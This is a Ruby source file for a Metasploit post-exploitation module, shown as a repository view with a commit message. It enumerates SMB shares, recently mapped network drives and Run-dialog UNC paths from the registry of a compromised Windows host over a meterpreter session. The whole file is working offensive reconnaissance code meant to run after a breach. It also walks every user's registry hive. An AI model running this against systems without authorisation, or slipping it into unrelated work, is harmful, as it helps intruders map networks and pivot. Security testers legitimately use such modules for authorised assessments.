21f6127e29
Change all Platform 'windows' to 'win', as it internally is an alias anyway and only causes unnecessary confusion to have two platform names that mean the same.
190 lines
5.1 KiB
Ruby
190 lines
5.1 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
require 'msf/core/post/windows/registry'
|
|
require 'msf/core/post/windows/priv'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Post::Windows::Priv
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Gather SMB Share Enumeration via Registry',
|
|
'Description' => %q{ This module will enumerate configured and recently used file shares},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
|
'Version' => '$Revision$',
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
))
|
|
register_options(
|
|
[
|
|
OptBool.new("CURRENT" , [ true, "Enumerate currently configured shares" , true]),
|
|
OptBool.new("RECENT" , [ true, "Enumerate Recently mapped shares" , true]),
|
|
OptBool.new("ENTERED" , [ true, "Enumerate Recently entered UNC Paths in the Run Dialog" , true])
|
|
], self.class)
|
|
|
|
end
|
|
|
|
# Stolen from modules/auxiliary/scanner/smb/smb_enumshares.rb
|
|
def share_type(val)
|
|
stypes = [
|
|
'DISK',
|
|
'PRINTER',
|
|
'DEVICE',
|
|
'IPC',
|
|
'SPECIAL',
|
|
'TEMPORARY'
|
|
]
|
|
|
|
if val > (stypes.length - 1)
|
|
return 'UNKNOWN'
|
|
end
|
|
|
|
stypes[val]
|
|
end
|
|
|
|
# Method for enumerating recent mapped drives on target machine
|
|
def enum_recent_mounts(base_key)
|
|
recent_mounts = []
|
|
partial_path = base_key + "\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer"
|
|
full_path = "#{partial_path}\\Map Network Drive MRU"
|
|
explorer_keys = registry_enumkeys(partial_path)
|
|
if explorer_keys.include?("Map Network Drive MRU")
|
|
vals_found = registry_enumvals(full_path)
|
|
if vals_found
|
|
registry_enumvals(full_path).each do |k|
|
|
if not k =~ /MRUList/
|
|
recent_mounts << registry_getvaldata(full_path,k)
|
|
end
|
|
end
|
|
end
|
|
end
|
|
return recent_mounts
|
|
end
|
|
|
|
# Method for enumerating UNC Paths entered in run dialog box
|
|
def enum_run_unc(base_key)
|
|
unc_paths = []
|
|
full_path = base_key + "\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU"
|
|
vals_found = registry_enumvals(full_path)
|
|
if vals_found
|
|
vals_found.each do |k|
|
|
if k =~ /./
|
|
run_entrie = registry_getvaldata(full_path,k)
|
|
unc_paths << run_entrie if run_entrie =~ /^\\\\/
|
|
end
|
|
end
|
|
end
|
|
|
|
return unc_paths
|
|
end
|
|
|
|
# Method for enumerating configured shares on a target box
|
|
def enum_conf_shares()
|
|
if sysinfo["OS"] =~ /Windows 7|Vista|2008/
|
|
shares_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares"
|
|
else
|
|
shares_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\lanmanserver\\Shares"
|
|
end
|
|
share_names = registry_enumvals(shares_key)
|
|
|
|
if share_names.length > 0
|
|
shares = []
|
|
print_status("The following shares were found:")
|
|
share_names.each do |sname|
|
|
info = registry_getvaldata(shares_key,sname)
|
|
next if info.nil?
|
|
share_info = info.split("\000")
|
|
print_status("\tName: #{sname}")
|
|
stype = remark = path = nil
|
|
share_info.each do |e|
|
|
name,val = e.split("=")
|
|
case name
|
|
when "Path"
|
|
print_status "\tPath: #{val}"
|
|
path = val
|
|
when "Type"
|
|
print_status "\tType: #{val}"
|
|
stype = share_type(val.to_i)
|
|
when "Remark"
|
|
remark = val
|
|
end
|
|
end
|
|
# Match the format used by auxiliary/scanner/smb/smb_enumshares
|
|
# with an added field for path
|
|
shares << [ sname, stype, remark, path ]
|
|
print_status()
|
|
end
|
|
report_note(
|
|
:host => session,
|
|
:type => 'smb.shares',
|
|
:data => { :shares => shares },
|
|
:update => :unique_data
|
|
)
|
|
else
|
|
print_status("No shares were found")
|
|
end
|
|
end
|
|
|
|
def run
|
|
print_status("Running against session #{datastore["SESSION"]}")
|
|
|
|
# Variables to hold info
|
|
mount_history = []
|
|
run_history = []
|
|
|
|
# Enumerate shares being offered
|
|
enum_conf_shares() if datastore["CURRENT"]
|
|
if is_system?
|
|
mount_history = enum_recent_mounts("HKEY_CURRENT_USER")
|
|
run_history = enum_run_unc("HKEY_CURRENT_USER")
|
|
else
|
|
user_sid = []
|
|
key = "HKU\\"
|
|
root_key, base_key = session.sys.registry.splitkey(key)
|
|
open_key = session.sys.registry.open_key(root_key, base_key)
|
|
keys = open_key.enum_key
|
|
keys.each do |k|
|
|
user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/
|
|
end
|
|
user_sid.each do |us|
|
|
mount_history = mount_history + enum_recent_mounts("HKU\\#{us.chomp}") if datastore["RECENT"]
|
|
run_history = run_history + enum_run_unc("HKU\\#{us.chomp}") if datastore["ENTERED"]
|
|
end
|
|
end
|
|
|
|
# Enumerate Mount History
|
|
if mount_history.length > 0
|
|
print_status("Recent Mounts found:")
|
|
mount_history.each do |i|
|
|
print_status("\t#{i}")
|
|
end
|
|
print_status()
|
|
end
|
|
|
|
# Enumerate UNC Paths entered in the Dialog box
|
|
if run_history.length > 0
|
|
print_status("Recent UNC paths entered in Run Dialog found:")
|
|
run_history.each do |i|
|
|
print_status("\t#{i}")
|
|
end
|
|
print_status()
|
|
end
|
|
|
|
end
|
|
|
|
end
|